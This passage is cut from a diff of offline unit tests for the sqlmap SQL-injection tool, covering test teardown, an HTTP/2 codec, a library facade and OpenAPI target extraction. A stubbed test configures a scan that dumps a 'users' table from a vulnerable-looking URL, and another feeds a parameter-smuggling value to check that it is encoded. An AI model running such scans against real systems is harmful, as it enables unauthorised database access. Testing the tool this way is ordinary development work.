tempfile.gettempdir(), "sqlmap_wf_%d.bin" % os.getpid())
with open(path, "wb") as f:
f.write(b"data")
calls = {}
@ -733,3 +734,7 @@ class TestUDF(_FsBase):
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -18,7 +18,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import conf, kb
@ -93,12 +93,18 @@ class TestFingerprint(unittest.TestCase):
conf.batch = True
conf.extensiveFp = False
conf.api = False
# _drive() stubs the SHARED lib.request.inject module (plugins do `from lib.request import inject`),
# so snapshot the originals and restore them, else stubbed getValue/checkBooleanExpression leak process-wide
import lib.request.inject as _inject
self._inject = _inject
self._inject_saved = (_inject.getValue, _inject.checkBooleanExpression)
def tearDown(self):
for k, v in self._saved.items():
conf[k] = v
for k, v in self._kb.items():
kb[k] = v
self._inject.getValue, self._inject.checkBooleanExpression = self._inject_saved
def _drive(self, name, modpath, pkg, oracle):
set_dbms(name)
@ -201,3 +207,7 @@ for _name, _mod, _pkg in TARGETS:
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -26,7 +26,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
@ -599,3 +599,7 @@ class TestTakeover(_GenericBase):
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -246,6 +246,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase):
def setUp(self):
self._gql = gi._gqlSend
self._conf = gi.conf
gi.conf = type("C", (), {"url": "http://test/graphql"})()
pages = {"true": MATCH, "false": NOMATCH}
@ -259,6 +260,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase):
def tearDown(self):
gi._gqlSend = self._gql
gi.conf = self._conf
def test_boolean_detected(self):
slot = _slot("query", "Query", "user", "username", "string")
@ -277,6 +279,7 @@ class TestGraphqlErrorDetection(unittest.TestCase):
def setUp(self):
self._gql = gi._gqlSend
self._conf = gi.conf
gi.conf = type("C", (), {"url": "http://test/graphql"})()
def fakeSend(endpoint, query, variables=None):
@ -287,6 +290,7 @@ class TestGraphqlErrorDetection(unittest.TestCase):
def tearDown(self):
gi._gqlSend = self._gql
gi.conf = self._conf
def test_error_detected(self):
slot = _slot("query", "Query", "user", "username", "string")
@ -372,10 +376,12 @@ class TestGraphqlIntrospectionFallback(unittest.TestCase):
def setUp(self):
self._gql = gi._gqlSend
self._conf = gi.conf
gi.conf = type("C", (), {"url": "http://test/graphql"})()
def tearDown(self):
gi._gqlSend = self._gql
gi.conf = self._conf
def test_fallback_without_specifiedByURL(self):
calls = []

283
tests/test_http2.py Normal file
View file

@ -0,0 +1,283 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Unit coverage for the PURE (network-free) parts of the native HTTP/2 client in
lib/request/http2.py: the RFC 7540 frame codec, the RFC 7541 HPACK integer /
Huffman / string primitives, the HPACK Decoder/Encoder (static + dynamic table),
and the urllib-compatible H2Response wrapper.
Nothing here opens a socket or negotiates TLS - only the deterministic codecs and
the response adapter are exercised. Known vectors are the canonical RFC 7541
examples; everything else is a round-trip / invariant check.
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
"""
import binascii
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap
bootstrap()
from lib.request.http2 import (
Decoder,
Encoder,
H2Response,
REDIRECT_CODES,
STATIC_LEN,
STATIC_TABLE,
DATA,
HEADERS,
FLAG_END_HEADERS,
FLAG_END_STREAM,
decode_frame_header,
decode_integer,
decode_string,
encode_frame,
encode_integer,
encode_string,
huffman_decode,
huffman_encode,
)
def _b(*ints):
# build a bytes object from ints (identical on Python 2 and 3)
return bytes(bytearray(ints))
class TestFrameCodec(unittest.TestCase):
def test_roundtrip(self):
header = encode_frame(HEADERS, FLAG_END_HEADERS, 1, b"abc")[:9]
self.assertEqual(decode_frame_header(header), (3, HEADERS, FLAG_END_HEADERS, 1))
def test_payload_is_appended_verbatim(self):
frame = encode_frame(DATA, 0, 1, b"hello")
self.assertEqual(frame[9:], b"hello")
def test_reserved_stream_bit_is_masked(self):
# the high (reserved) bit of the 31-bit stream id must be dropped on both ends
header = encode_frame(DATA, 0, 0x80000001, b"")[:9]
self.assertEqual(decode_frame_header(header), (0, DATA, 0, 1))
def test_zero_length_payload(self):
header = encode_frame(DATA, FLAG_END_STREAM, 1, b"")[:9]
length, _, flags, _ = decode_frame_header(header)
self.assertEqual(length, 0)
self.assertEqual(flags, FLAG_END_STREAM)
def test_oversized_payload_rejected(self):
with self.assertRaises(ValueError):
encode_frame(DATA, 0, 1, b"x" * (0xFFFFFF + 1))
def test_bad_header_length_rejected(self):
with self.assertRaises(ValueError):
decode_frame_header(b"123")
class TestIntegerCoding(unittest.TestCase):
def test_rfc_c11_small(self):
# RFC 7541 C.1.1: 10 with a 5-bit prefix fits in the prefix
self.assertEqual(list(encode_integer(10, 5)), [10])
def test_rfc_c12_multibyte(self):
# RFC 7541 C.1.2: 1337 with a 5-bit prefix
self.assertEqual(list(encode_integer(1337, 5)), [31, 154, 10])
self.assertEqual(decode_integer(bytearray([31, 154, 10]), 0, 5), (1337, 3))
def test_rfc_c13_full_byte_prefix(self):
# RFC 7541 C.1.3: 42 starting from a full (8-bit prefix at an octet boundary)
self.assertEqual(list(encode_integer(42, 8)), [42])
def test_roundtrip_across_prefixes(self):
for prefix in (4, 5, 6, 7, 8):
for value in (0, 1, 2, 30, 31, 32, 127, 128, 255, 256, 16384, 1000000):
encoded = bytearray(encode_integer(value, prefix))
decoded, pos = decode_integer(encoded, 0, prefix)
self.assertEqual(decoded, value)
self.assertEqual(pos, len(encoded))
def test_first_byte_bits_preserved(self):
# a caller-supplied opcode in the high bits must survive a small value
self.assertEqual(bytearray(encode_integer(5, 7, 0x80))[0], 0x80 | 5)
class TestHuffman(unittest.TestCase):
def test_known_vector_www_example_com(self):
# RFC 7541 C.4.1
self.assertEqual(binascii.hexlify(huffman_encode(b"www.example.com")), b"f1e3c2e5f23a6ba0ab90f4ff")
def test_empty(self):
self.assertEqual(huffman_encode(b""), b"")
self.assertEqual(huffman_decode(b""), b"")
def test_roundtrip(self):
for sample in (b"a", b"hello world", b"/index.html?a=1&b=2",
b"GET", b"application/json", b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
bytes(bytearray(range(256)))):
self.assertEqual(huffman_decode(huffman_encode(sample)), sample)
def test_shrinks_typical_text(self):
sample = b"www.example.com"
self.assertLess(len(huffman_encode(sample)), len(sample))
def test_padding_too_long_rejected(self):
# 0xfe walks eight 1-bits into a long (unterminated) code -> more than a byte of padding
with self.assertRaises(ValueError):
huffman_decode(_b(0xFE))
class TestStringCoding(unittest.TestCase):
def test_huffman_branch_roundtrip(self):
encoded = encode_string(b"custom-value")
self.assertTrue(bytearray(encoded)[0] & 0x80) # huffman flag set for compressible text
self.assertEqual(decode_string(bytearray(encoded), 0), (b"custom-value", len(encoded)))
def test_literal_branch_when_huffman_would_not_shrink(self):
encoded = encode_string(_b(0xFF))
self.assertFalse(bytearray(encoded)[0] & 0x80) # falls back to a literal string
self.assertEqual(decode_string(bytearray(encoded), 0), (_b(0xFF), len(encoded)))
def test_disable_huffman(self):
encoded = encode_string(b"abc", huffman=False)
self.assertFalse(bytearray(encoded)[0] & 0x80)
self.assertEqual(decode_string(bytearray(encoded), 0), (b"abc", len(encoded)))
class TestHpackDecoder(unittest.TestCase):
def test_indexed_static_entries(self):
# 0x82/0x86/0x84 -> static indices 2, 6, 4
self.assertEqual(
Decoder().decode(_b(0x82, 0x86, 0x84)),
[(b":method", b"GET"), (b":scheme", b"http"), (b":path", b"/")],
)
def test_static_lookup_bounds(self):
d = Decoder()
self.assertEqual(d._get(1), (b":authority", b""))
self.assertEqual(d._get(2), (b":method", b"GET"))
self.assertEqual(d._get(STATIC_LEN), STATIC_TABLE[-1])
def test_index_zero_rejected(self):
with self.assertRaises(ValueError):
Decoder()._get(0)
def test_index_out_of_range_rejected(self):
with self.assertRaises(ValueError):
Decoder()._get(STATIC_LEN + 1) # no dynamic entries yet
def test_literal_incremental_indexing_populates_dynamic_table(self):
# 0x40 = literal with incremental indexing, new name
block = bytearray([0x40]) + encode_string(b"custom-key") + encode_string(b"custom-value")
d = Decoder()
self.assertEqual(d.decode(bytes(block)), [(b"custom-key", b"custom-value")])
# entry is now addressable at the first dynamic index (STATIC_LEN + 1)
self.assertEqual(d._get(STATIC_LEN + 1), (b"custom-key", b"custom-value"))
self.assertEqual(d._size, 32 + len(b"custom-key") + len(b"custom-value"))
def test_literal_without_indexing_does_not_touch_dynamic_table(self):
block = bytearray([0x00]) + encode_string(b"k") + encode_string(b"v")
d = Decoder()
self.assertEqual(d.decode(bytes(block)), [(b"k", b"v")])
self.assertEqual(d.dynamic, [])
def test_dynamic_table_eviction(self):
d = Decoder(max_size=40) # each 2+2 byte entry costs 32+2+2 = 36
d._add(b"aa", b"bb")
self.assertEqual(len(d.dynamic), 1)
d._add(b"cc", b"dd") # 72 > 40 -> oldest evicted
self.assertEqual(d.dynamic, [(b"cc", b"dd")])
self.assertEqual(d._size, 36)
def test_dynamic_size_update_clears(self):
d = Decoder()
d._add(b"x", b"y")
d.decode(_b(0x20)) # 0x20 = dynamic table size update to 0
self.assertEqual(d.max_size, 0)
self.assertEqual(d.dynamic, [])
class TestHpackEncoderRoundTrip(unittest.TestCase):
def test_roundtrip_through_decoder(self):
headers = [
(b":method", b"GET"),
(b":scheme", b"https"),
(b":path", b"/a/b?c=d"),
(b":authority", b"example.com"),
(b"user-agent", b"sqlmap"),
(b"accept", b""), # empty value
(b"x-custom", b"\x00\x01\xff"), # non-ASCII value
]
self.assertEqual(Decoder().decode(Encoder().encode(headers)), headers)
def test_encoder_output_is_bytes(self):
self.assertIsInstance(Encoder().encode([(b"a", b"b")]), bytes)
class TestH2Response(unittest.TestCase):
def _make(self, status=200, headers=None, body=b"body"):
headers = headers if headers is not None else [(b":status", b"200"), (b"content-type", b"text/html")]
return H2Response("https://target/x", status, headers, body)
def test_basic_fields(self):
r = self._make()
self.assertEqual(r.code, 200)
self.assertEqual(r.status, 200)
self.assertEqual(r.msg, "OK")
self.assertEqual(r.http_version, "HTTP/2.0")
self.assertEqual(r.geturl(), "https://target/x")
def test_unknown_status_message(self):
self.assertEqual(self._make(status=799).msg, "")
def test_pseudo_headers_stripped(self):
r = self._make()
self.assertNotIn(":status", r.info())
self.assertEqual(r.info().get("content-type"), "text/html")
def test_read_full_then_empty(self):
r = self._make(body=b"hello")
self.assertEqual(r.read(), b"hello")
self.assertEqual(r.read(), b"") # offset exhausted
def test_read_in_chunks(self):
r = self._make(body=b"abcdef")
self.assertEqual(r.read(2), b"ab")
self.assertEqual(r.read(3), b"cde")
self.assertEqual(r.read(10), b"f") # asking past the end returns the remainder
self.assertEqual(r.read(10), b"")
def test_str_header_names_accepted(self):
# headers may arrive already decoded to str (not only bytes)
r = H2Response("https://t/", 200, [("content-type", "application/json")], b"{}")
self.assertEqual(r.info().get("content-type"), "application/json")
def test_mimetools_style_headers_list(self):
# patchHeaders() relies on a '.headers' list of "Name: value\r\n" lines being present
r = self._make()
self.assertTrue(hasattr(r.info(), "headers"))
self.assertIn("content-type: text/html\r\n", r.info().headers)
def test_close_is_noop(self):
self.assertIsNone(self._make().close())
class TestConstants(unittest.TestCase):
def test_redirect_codes(self):
for code in (301, 302, 303, 307, 308):
self.assertIn(code, REDIRECT_CODES)
self.assertNotIn(200, REDIRECT_CODES)
def test_static_table_length(self):
self.assertEqual(STATIC_LEN, len(STATIC_TABLE))
self.assertEqual(STATIC_LEN, 61) # RFC 7541 Appendix A
if __name__ == "__main__":
unittest.main(verbosity=2)

View file

@ -13,7 +13,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.common import safeSQLIdentificatorNaming, unsafeSQLIdentificatorNaming, safeCSValue
@ -83,3 +83,7 @@ class TestSafeCSValue(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -24,7 +24,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import conf, kb
@ -151,3 +151,7 @@ class TestSearchIsLogarithmic(_EngineCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -16,6 +16,21 @@ bootstrap()
import lib.techniques.ldap.inject as ldap
# several setUps here write these conf keys without restoring them; snapshot/restore at the module
# boundary so they can't leak into later test modules (order-dependent flakiness)
_LDAP_CONF_KEYS = ("parameters", "paramDict", "skipUrlEncode", "cookieDel")
_saved_conf = {}
def setUpModule():
from lib.core.data import conf
for k in _LDAP_CONF_KEYS:
_saved_conf[k] = conf.get(k)
def tearDownModule():
from lib.core.data import conf
for k, v in _saved_conf.items():
conf[k] = v
# --- Helpers ----------------------------------------------------------------
SENTINEL = ldap.SENTINEL

139
tests/test_library.py Normal file
View file

@ -0,0 +1,139 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Unit coverage for the library facade (import sqlmap; sqlmap.scan(...)).
The facade drives the engine out-of-process through a generated configuration file (the same '-c'
mechanism the REST API uses) and reads back a '--report-json' report. These tests stub
subprocess.Popen to (a) capture the argv/config sqlmap.scan() builds from its keyword options and
(b) feed back a canned report - keeping the test fast, offline and network-free (no real scan runs).
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
"""
import json
import os
import re
import subprocess
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import sqlmap
class _FakePopen(object):
"""Stub that records argv/config and writes a canned report to the config's 'reportJson' path."""
captured = {}
returncode = 0
def __init__(self, argv, **kwargs):
_FakePopen.captured["argv"] = argv
_FakePopen.captured["kwargs"] = kwargs
with open(argv[argv.index("-c") + 1]) as f:
config = f.read()
_FakePopen.captured["config"] = config
report = re.search(r"(?im)^reportjson\s*=\s*(.+)$", config).group(1).strip()
with open(report, "w") as f:
json.dump({"success": True, "data": [{"type_name": "BANNER", "value": "3.45.1"}], "error": []}, f)
def wait(self, timeout=None):
return 0
def poll(self):
return 0
def kill(self):
pass
class TestLibraryFacade(unittest.TestCase):
def setUp(self):
self._realPopen = subprocess.Popen
subprocess.Popen = _FakePopen
_FakePopen.captured = {}
def tearDown(self):
subprocess.Popen = self._realPopen
def test_requires_a_target(self):
subprocess.Popen = self._realPopen # never reached; guard fires first
self.assertRaises(sqlmap.SqlmapError, sqlmap.scan)
def test_rejects_unknown_option(self):
# a command line switch spelling (rather than a conf option name) must be rejected loudly
self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1", current_user=True)
def test_options_go_through_config(self):
result = sqlmap.scan("http://target/vuln.php?id=1", technique="BEU", dumpTable=True,
tbl="users", level=3, getBanner=True, raw=["--fresh-queries"])
argv = _FakePopen.captured["argv"]
config = _FakePopen.captured["config"]
# driven via a generated config file, stdin ignored, engine plumbing set - no arg escaping
self.assertIn("-c", argv)
self.assertIn("--ignore-stdin", argv)
self.assertIn("--fresh-queries", argv) # raw escape hatch stays on the CLI
# options land in the config using sqlmap's own (conf) names (ConfigParser lowercases keys)
self.assertTrue(re.search(r"(?im)^url\s*=\s*http://target/vuln.php\?id=1$", config))
self.assertTrue(re.search(r"(?im)^technique\s*=\s*BEU$", config))
self.assertTrue(re.search(r"(?im)^tbl\s*=\s*users$", config))
self.assertTrue(re.search(r"(?im)^level\s*=\s*3$", config))
self.assertTrue(re.search(r"(?im)^dumptable\s*=\s*True$", config))
self.assertTrue(re.search(r"(?im)^getbanner\s*=\s*True$", config))
self.assertTrue(re.search(r"(?im)^batch\s*=\s*True$", config))
self.assertTrue(re.search(r"(?im)^outputdir\s*=", config)) # each run isolated on disk
# file descriptors are not leaked to the engine (matches the REST API subprocess)
self.assertFalse(_FakePopen.captured["kwargs"].get("close_fds") and os.name == "nt")
# canned report is returned verbatim
self.assertTrue(result["success"])
self.assertEqual(result["data"][0]["value"], "3.45.1")
def test_scan_from_request_uses_request_file(self):
sqlmap.scanFromRequest("/tmp/req.txt", technique="U")
config = _FakePopen.captured["config"]
self.assertTrue(re.search(r"(?im)^requestfile\s*=\s*/tmp/req.txt$", config))
self.assertTrue(re.search(r"(?im)^technique\s*=\s*U$", config))
def test_missing_report_raises(self):
class _NoReportPopen(_FakePopen):
def __init__(self, argv, **kwargs):
_FakePopen.captured["argv"] = argv # write nothing -> no report file
subprocess.Popen = _NoReportPopen
self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1")
class TestReportErrorCapture(unittest.TestCase):
"""
The library tells failure modes apart (unreachable vs nothing-found) because a CLI --report-json
run now records error/critical log messages into the report 'error' array, like the REST API.
"""
def test_errors_reach_the_report(self):
import logging
from lib.core.data import logger
from lib.utils.api import setupReportCollector, _assembleData, ReportErrorRecorder, REPORT_TASKID
# represent a normal run: the shared test bootstrap silences the logger (CRITICAL+1), which would
# otherwise gate the ERROR record before it reaches the recorder (order-dependent flakiness)
saved_level = logger.level
logger.setLevel(logging.ERROR)
collector = setupReportCollector()
try:
logger.error("boom %s", "here")
result = _assembleData(collector, REPORT_TASKID)
self.assertTrue(any("boom here" in _ for _ in result["error"]))
finally:
logger.setLevel(saved_level)
for handler in list(logger.handlers):
if isinstance(handler, ReportErrorRecorder):
logger.removeHandler(handler)
collector.disconnect()
if __name__ == "__main__":
unittest.main(verbosity=2)

View file

@ -13,7 +13,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core import common as C
@ -123,3 +123,7 @@ class TestArrayHelpers(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -18,6 +18,21 @@ bootstrap()
import lib.techniques.nosql.inject as ni
# several setUps here write these conf keys without restoring them; snapshot/restore at the module
# boundary so they can't leak into later test modules (order-dependent flakiness)
_NOSQL_CONF_KEYS = ("parameters", "paramDict", "timeSec", "cookieDel")
_saved_conf = {}
def setUpModule():
from lib.core.data import conf
for k in _NOSQL_CONF_KEYS:
_saved_conf[k] = conf.get(k)
def tearDownModule():
from lib.core.data import conf
for k, v in _saved_conf.items():
conf[k] = v
SECRET = "S3cr3t_9"
MATCH = "<html><body>Welcome user; rows: alpha, bravo, charlie</body></html>"
NOMATCH = "<html><body>Invalid credentials; no rows</body></html>"

456
tests/test_openapi.py Normal file
View file

@ -0,0 +1,456 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Unit coverage for the OpenAPI/Swagger target extractor (lib/parse/openapi.py): schema example
synthesis, $ref resolution (incl. cycles), base-URL resolution (v2 + v3, relative/templated servers),
request-body handling (JSON / form), parameter->PLACE mapping, and (importantly) graceful handling of
malformed / poorly-defined specifications (a broken spec must never crash or hang the parser).
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
"""
import json
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap
bootstrap()
from lib.parse.openapi import openApiTargets, yaml as _yaml
HAS_YAML = _yaml is not None
def _targets(spec, origin="http://h"):
return openApiTargets(json.dumps(spec) if isinstance(spec, dict) else spec, origin)
def _byMethodPath(targets):
return dict(("%s %s" % (method, url), (method, url, data, headers)) for url, method, data, headers in targets)
class TestOpenApi(unittest.TestCase):
def test_v3_query_path_and_base(self):
spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}],
"paths": {"/pet/{id}": {"get": {"parameters": [
{"name": "id", "in": "path", "schema": {"type": "integer"}},
{"name": "q", "in": "query", "schema": {"type": "string", "example": "x"}}]}}}}
targets = _targets(spec, "http://host:8080")
self.assertEqual(len(targets), 1)
url, method, data, headers = targets[0]
self.assertEqual(method, "GET")
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK
self.assertEqual(url, "http://host:8080/api/pet/1%s?q=x" % MARK) # relative server + filled+marked path + query
self.assertIsNone(data)
def test_v3_json_body_sets_data_and_content_type(self):
spec = {"openapi": "3.0.0", "paths": {"/o": {"post": {"requestBody": {"content": {"application/json":
{"schema": {"type": "object", "properties": {"name": {"type": "string"}, "qty": {"type": "integer"}}}}}}}}}}
url, method, data, headers = _targets(spec)[0]
self.assertEqual(method, "POST")
self.assertEqual(json.loads(data), {"name": "1", "qty": 1})
self.assertIn(("Content-Type", "application/json"), headers)
def test_form_urlencoded_body(self):
spec = {"openapi": "3.0.0", "paths": {"/login": {"post": {"requestBody": {"content":
{"application/x-www-form-urlencoded": {"schema": {"type": "object",
"properties": {"u": {"type": "string"}, "p": {"type": "string"}}}}}}}}}}
url, method, data, headers = _targets(spec)[0]
self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"])
def test_value_synthesis(self):
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
{"name": "a", "in": "query", "schema": {"type": "integer"}},
{"name": "b", "in": "query", "schema": {"type": "boolean"}},
{"name": "c", "in": "query", "schema": {"type": "string", "enum": ["first", "second"]}},
{"name": "d", "in": "query", "schema": {"type": "string", "default": "dd"}},
{"name": "e", "in": "query", "schema": {"type": "string", "format": "uuid"}}]}}}}
url = _targets(spec)[0][0]
self.assertIn("a=1", url)
self.assertIn("b=true", url)
self.assertIn("c=first", url) # enum[0]
self.assertIn("d=dd", url) # default
self.assertIn("e=11111111-1111-1111-1111-111111111111", url) # format uuid
def test_ref_resolution_and_allof_oneof(self):
spec = {"openapi": "3.0.0",
"components": {"schemas": {"Tag": {"type": "object", "properties": {"n": {"type": "string"}}}}},
"paths": {
"/ref": {"post": {"requestBody": {"content": {"application/json": {"schema": {"$ref": "#/components/schemas/Tag"}}}}}},
"/all": {"post": {"requestBody": {"content": {"application/json": {"schema": {"allOf": [
{"type": "object", "properties": {"x": {"type": "string"}}},
{"type": "object", "properties": {"y": {"type": "integer"}}}]}}}}}},
"/one": {"post": {"requestBody": {"content": {"application/json": {"schema": {"oneOf": [
{"type": "object", "properties": {"only": {"type": "string"}}},
{"type": "object", "properties": {"other": {"type": "string"}}}]}}}}}}}}
m = _byMethodPath(_targets(spec))
self.assertEqual(json.loads(m["POST http://h/ref"][2]), {"n": "1"})
self.assertEqual(json.loads(m["POST http://h/all"][2]), {"x": "1", "y": 1}) # allOf merged
self.assertEqual(json.loads(m["POST http://h/one"][2]), {"only": "1"}) # oneOf -> first
def test_ref_cycle_terminates(self):
spec = {"openapi": "3.0.0",
"components": {"schemas": {"Node": {"type": "object", "properties": {
"name": {"type": "string"}, "parent": {"$ref": "#/components/schemas/Node"}}}}},
"paths": {"/n": {"post": {"requestBody": {"content": {"application/json":
{"schema": {"$ref": "#/components/schemas/Node"}}}}}}}}
targets = _targets(spec) # must not hang / recurse forever
self.assertEqual(len(targets), 1)
self.assertTrue(json.loads(targets[0][2]).get("name") == "1")
def test_swagger_v2_base_and_body(self):
spec = {"swagger": "2.0", "host": "api.example.com", "basePath": "/v2", "schemes": ["https"],
"paths": {"/pet": {"post": {"parameters": [{"name": "b", "in": "body",
"schema": {"type": "object", "properties": {"id": {"type": "integer"}}}}]}}}}
url, method, data, headers = _targets(spec, None)[0]
self.assertEqual(url, "https://api.example.com/v2/pet")
self.assertEqual(json.loads(data), {"id": 1})
def test_server_template_variables(self):
spec = {"openapi": "3.0.0", "servers": [{"url": "https://{env}.x.io/{ver}",
"variables": {"env": {"default": "prod"}, "ver": {"default": "v3"}}}],
"paths": {"/p": {"get": {}}}}
self.assertEqual(_targets(spec, None)[0][0], "https://prod.x.io/v3/p")
def test_headers_are_hashable_tuples(self):
# kb.targets is an OrderedSet, so the emitted headers must be hashable (tuple, not list)
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
{"name": "h", "in": "header", "schema": {"type": "string"}}]}}}}
headers = _targets(spec)[0][3]
self.assertTrue(headers is None or isinstance(tuple(headers), tuple))
def test_header_and_cookie_params_are_injection_marked(self):
# header/cookie params get the custom injection mark ('*') appended so they become testable
# (custom) injection points (query/body params are still auto-tested alongside them)
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
{"name": "X-Api", "in": "header", "schema": {"type": "string", "example": "k"}},
{"name": "sess", "in": "cookie", "schema": {"type": "string", "example": "v"}}]}}}}
headers = dict(_targets(spec)[0][3])
self.assertEqual(headers["X-Api"], "k" + MARK)
self.assertEqual(headers["Cookie"], "sess=v" + MARK)
# --- graceful degradation: a broken/poorly-defined spec must never crash the parser ---
def test_malformed_raises_valueerror(self):
for bad in ("{not json,,,", "[1,2,3]", "{}", '{"openapi":"3.0.0"}', '{"openapi":"3.0.0","paths":[1,2]}'):
self.assertRaises(ValueError, openApiTargets, bad, "http://h")
def test_malformed_servers_do_not_crash(self):
for servers in ('{"url":"/a"}', '"http://h"', "[]"):
spec = '{"openapi":"3.0.0","servers":%s,"paths":{"/x":{"get":{}}}}' % servers
self.assertEqual(len(openApiTargets(spec, "http://h")), 1) # no crash, still one target
def test_url_and_body_values_are_encoded(self):
# special characters in synthesized values must be percent-encoded so they can not break the
# URL structure (param smuggling) or the form body
spec = {"openapi": "3.0.0", "paths": {
"/x/{p}": {"get": {"parameters": [
{"name": "p", "in": "path", "schema": {"type": "string", "example": "a/b"}},
{"name": "q", "in": "query", "schema": {"type": "string", "example": "a b&c=d"}}]}},
"/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded":
{"schema": {"type": "object", "properties": {"u": {"type": "string", "example": "a b&x"}}}}}}}}}}
byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec))
getUrl = byMethod["GET"][0]
self.assertIn("/x/a%2Fb", getUrl) # path value '/' encoded (no extra segment)
self.assertIn("q=a%20b%26c%3Dd", getUrl) # query value space/&/= encoded (no smuggling)
self.assertNotIn(" ", getUrl)
self.assertEqual(byMethod["POST"][1], "u=a%20b%26x")
@unittest.skipUnless(HAS_YAML, "pyyaml not available")
def test_yaml_spec(self):
y = ("openapi: 3.0.0\n"
"paths:\n"
" /y:\n"
" get:\n"
" parameters:\n"
" - name: q\n"
" in: query\n"
" schema: {type: string, example: hi}\n")
targets = openApiTargets(y, "http://h")
self.assertEqual(len(targets), 1)
self.assertEqual(targets[0][0], "http://h/y?q=hi")
def test_shared_recursive_refs_scale(self):
# a self-referential schema reused across many operations must terminate promptly (depth cap +
# per-$ref memoization); without them this would blow up exponentially and hang the test
schemas = {"Node": {"type": "object", "properties": {
"name": {"type": "string"},
"child": {"$ref": "#/components/schemas/Node"},
"list": {"type": "array", "items": {"$ref": "#/components/schemas/Node"}}}}}
paths = dict(("/n%d" % i, {"post": {"requestBody": {"content": {"application/json":
{"schema": {"$ref": "#/components/schemas/Node"}}}}}}) for i in range(60))
targets = _targets({"openapi": "3.0.0", "components": {"schemas": schemas}, "paths": paths})
self.assertEqual(len(targets), 60)
self.assertEqual(json.loads(targets[0][2]).get("name"), "1")
def test_swagger_v2_formdata_body(self):
# in:"formData" params must become a urlencoded body (previously dropped -> empty POST)
spec = {"swagger": "2.0", "host": "h", "paths": {"/l": {"post": {"parameters": [
{"name": "u", "in": "formData", "type": "string"},
{"name": "p", "in": "formData", "type": "string"}]}}}}
url, method, data, headers = _targets(spec, None)[0]
self.assertEqual(method, "POST")
self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"])
def test_relative_base_is_skipped(self):
# a spec that yields no scheme/host (relative server + no origin) must be skipped, not emitted
spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], "paths": {"/x": {"get": {}}}}
self.assertEqual(openApiTargets(json.dumps(spec), None), []) # relative -> skipped
self.assertEqual(len(openApiTargets(json.dumps(spec), "http://h")), 1) # absolute with origin -> kept
def test_unsupported_body_media_type_no_crash(self):
# a structured body under a non-JSON/form media type must not crash and must not fabricate a body,
# but the endpoint URL is still produced
spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/xml":
{"schema": {"type": "object", "properties": {"a": {"type": "string"}}}}}}}}}}
url, method, data, headers = _targets(spec)[0]
self.assertEqual((url, method, data), ("http://h/x", "POST", None))
def test_injection_mark_char_in_value_is_not_doubled(self):
# an example value already containing the custom injection mark must not create a stray point
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK
spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {
"parameters": [{"name": "H", "in": "header", "schema": {"type": "string", "example": "a%sb" % MARK}}],
"requestBody": {"content": {"application/json": {"schema": {"type": "object",
